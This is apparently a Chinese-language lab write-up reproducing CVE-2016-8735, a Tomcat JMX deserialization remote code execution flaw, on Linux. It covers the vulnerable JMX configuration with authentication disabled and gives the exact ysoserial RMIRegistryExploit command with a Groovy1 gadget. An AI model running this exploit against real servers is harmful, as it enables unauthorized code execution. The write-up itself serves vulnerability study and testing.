Apache Tomcat Remote Code Execution(CVE-2016-8735)

  • 2019 年 12 月 10 日
  • 筆記

Versions Affected

Apache Tomcat 9.0.0.M1 to 9.0.0.M11  Apache Tomcat 8.5.0 to 8.5.6  Apache Tomcat 8.0.0.RC1 to 8.0.38  Apache Tomcat 7.0.0 to 7.0.72  Apache Tomcat 6.0.0 to 6.0.47  Earlier, unsupported versions may also be affected.

Description

​ 這個漏洞實質還是JMX反序列化漏洞,tomcat同樣也用了JmxRemoteLifecycleListener這個監聽器,但是tomcat在Oracle修復這個漏洞後自己沒有及時更新,導致了反序列還依舊存在。網上搜了很多關於該漏洞的分析文章基本上都是0c0c0f牛在微信公眾號里文章的轉載或是變種,也基本都是在window系統上做的測試,所以也就想在linux也測試一下,也就有了這篇文章,大牛們勿噴吶= =、。

Test Environment

Linux Ubuntu server x86 Apache Tomcat (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz) catalina-jmx-remote (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar) //添加至%TOMCAT_HOME%/lib/目錄下 Groovy (https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar) //添加至 %TOMCAT_HOME%/lib/目錄下 POC (https://github.com/frohoff/ysoserial)

Test Steps

  1. 修改 tomcat server.xml 配置文件,添加以下內容: <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
  2. 修改 tomcat/bin 目錄下 catalina.sh ,在# —– Execute The Requested Command ——–處添加以下內容: # —– Execute The Requested Command —————————————– CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false //設為無帳號密碼認證 -Djava.rmi.server.hostname=192.168.64.7" //設置hostname為伺服器ip地址,否則JMX無法進行遠程訪問
  3. ./startup.sh啟動tomcat服務
  4. 執行POC java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.64.7 10001 Groovy1 "touch /tmp/tomcat_test"

​ 關於linux配置tomcat運行遠程監控(JMX)這裡有個坑,網上搜到的絕大多數關於linux下tomcat jmx配置的文章,都使用了只修改catalina.sh為以下內容的方法,包括Zabbix Wiki也是推薦的這種方式:

   CATALINA_OPTS="$CATALINA_OPTS     -Dcom.sun.management.jmxremote     -Dcom.sun.management.jmxremote.port=9999     -Dcom.sun.management.jmxremote.ssl=false     -Dcom.sun.management.jmxremote.authenticate=false     -Djava.rmi.server.hostname=192.168.64.7"

​ 但就這種方式而言,需要注意的是 catalina.sh 中提供的默認變數名 JAVA_OPTS 和 CATALINA_OPTS。由於 JAVA_OPTS 所添加的參數會在 tomcat 開啟和關閉時都運行,所以如果你把 Dcom.sun.management.jmxremote.port=9999 寫在 JAVA_OPTS 中時,關閉服務的時候是會報錯的,而且在該漏洞場景中攻擊利用也是不會成功的,因此需要注意的是在平常滲透過程當中若在linux下遇到了該漏洞,利用不成功也是正常的。


### Referer

http://seclists.org/oss-sec/2016/q4/502

微信公眾號:0c0c0f